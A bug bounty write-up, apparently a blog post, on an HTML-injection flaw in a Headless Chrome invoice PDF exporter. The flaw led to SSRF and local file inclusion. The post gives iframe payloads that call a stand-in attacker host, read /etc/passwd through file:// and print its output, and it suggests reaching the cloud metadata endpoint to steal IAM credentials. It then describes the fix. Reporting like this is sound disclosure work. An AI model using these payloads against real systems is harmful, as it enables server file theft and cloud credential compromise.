How an Unsanitized PDF Export Engine Led to Local File Inclusion and a $14,000 Bounty

When auditing modern enterprise applications, reporting features like “Export to PDF,” “Generate Invoice,” or “Download Summary” are…

T4nv1

Published August 29, 2026

Free: No

Read on Freedium · original

Contents

When auditing modern enterprise applications, reporting features like "Export to PDF," "Generate Invoice," or "Download Summary" are frequently overlooked. Developers often treat these functions as simple rendering utilities, using headless browser engines or HTML-to-PDF conversion libraries (such as Puppeteer, wkhtmltopdf, or WeasyPrint) to render HTML markup into downloadable documents.

However, if an application accepts user-supplied HTML or unsanitized text input and passes it into a server-side PDF generator without strict sandboxing, significant security boundaries can collapse.

While reviewing an enterprise financial management dashboard, analyzing how invoice preview documents were generated revealed a **Server-Side Request Forgery (SSRF) and Local File Inclusion (LFI)** vulnerability, resulting in a **$14,000 bounty award**.

Phase 1: Identifying the PDF Rendering Component

The target platform allowed accounts to generate custom invoices for client billing. Users could customize fields like line items, corporate footers, and terms of service.

When a user clicked "Preview Invoice PDF," the browser submitted an HTTP POST request containing the document structure:

HTTP

```
POST /api/v3/invoices/render-pdf HTTP/1.1
Host: billing.enterprise-suite.com
Authorization: Bearer eyJhbGci...
Content-Type: application/json
{
  "invoice_id": "inv_88192",
  "template_name": "standard_corporate",
  "footer_html": "<p>Thank you for your business. Payment due in 30 days.</p>"
}
```

The server responded with a binary PDF stream (`Content-Type: application/pdf`).

To test whether the underlying rendering engine parsed raw HTML markup, the `footer_html` string was modified to include basic HTML tags:

JSON

```
{
  "invoice_id": "inv_88192",
  "footer_html": "<h1>Test Header</h1><b style='color:red;'>Formatted Text</b>"
}
```

When the generated PDF was opened, the text appeared formatted with a red header and bold text. This confirmed that the backend was evaluating raw HTML markup provided directly inside the JSON request body.

Phase 2: Testing for Out-of-Bounds Connections (SSRF)

Because the PDF engine parsed raw HTML, the next objective was to determine whether it executed external network requests. This was tested by injecting an `<iframe>` tag pointing to an external HTTP listener (Burp Collaborator):

JSON

```
{
  "invoice_id": "inv_88192",
  "footer_html": "<iframe src='http://attacker-controlled-server.com/test_ping'></iframe>"
}
```

Within two seconds of submitting the request, an incoming HTTP GET request hit the external listener.

The user-agent header in the incoming request identified the exact headless engine running on the backend:

`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/108.0.5359.124 Safari/537.36`

The server was rendering input using a Headless Chrome instance running directly on a Linux host inside the production infrastructure.

Phase 3: Escalating from Out-of-Bounds SSRF to Local File Inclusion (LFI)

Having confirmed that Headless Chrome was executing JavaScript and rendering HTML frames, the testing shifted to reading local files from the server's file system using the `file://` URI scheme inside an `<iframe>` element.

A payload targeting the host's `/etc/passwd` file was submitted:

JSON

```
{
  "invoice_id": "inv_88192",
  "footer_html": "<iframe src='file:///etc/passwd' width='1000' height='1000'></iframe>"
}
```

The server processed the request without throwing an error and returned the rendered PDF document. When opening the generated PDF, the embedded iframe displayed the contents of the server's `/etc/passwd` file directly on the page:

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
appuser:x:1001:1001:App Server User:/home/appuser:/bin/bash
[ Attacker Submits JSON w/ iframe ] ──> [ Invoice API Endpoint ]
                                                    |
                                                    ▼
[ Local File Read: file:///etc/passwd ] -> [ Headless Chrome Engine ]
                                                    |
                                                    ▼
[ PDF Document Generated ] ──────────────> [ Exfiltrates System Data ]
```

Because the Headless Chrome process ran with elevated permissions within its container, an attacker could also use this vector to target cloud service metadata endpoints (e.g., `[http://169.254.169.254/latest/meta-data/](http://169.254.169.254/latest/meta-data/)` on AWS) to extract IAM service role credentials, leading to total cloud infrastructure compromise.

Triage & Resolution

The issue was documented immediately, ensuring that testing was strictly confined to demonstrating non-destructive file access (`/etc/passwd`). Cloud metadata or sensitive environment files were not accessed.

- **Vulnerability Class:** Server-Side Request Forgery (SSRF) / Local File Inclusion (LFI)
- **Severity Rating:** Critical (CVSS 9.8)
- **Time to Triage:** 45 Minutes
- **Final Award: $14,000 Bounty**

The engineering team resolved the flaw by:

- Configuring Headless Chrome with the `--disable-local-file-access` flag to prevent the rendering engine from accessing `file://` resources.

- Implementing an outbound network proxy for PDF generation services to restrict outgoing HTTP/HTTPS connections strictly to internal static asset domains.
- Sanitizing all user-supplied HTML inputs using a strict HTML sanitizer library prior to passing strings to the rendering pipeline.

Critical Lessons for Bug Hunters

- **Always Inspect PDF Exporters:** Whenever an application exports user data to PDF, test for HTML injection, iframe rendering, and local file URIs (`file://`).
- **Check the User-Agent on Outbound Callbacks:** Use external HTTP listeners to capture the User-Agent header from PDF workers; identifying whether the engine is Headless Chrome, wkhtmltopdf, or WeasyPrint dictates your payload selection.
- **Attempt Cloud Metadata Access:** If `file://` access is restricted, test whether the PDF renderer can make HTTP calls to internal cloud metadata addresses (`169.254.169.254`) or localhost interfaces (`127.0.0.1:8080`).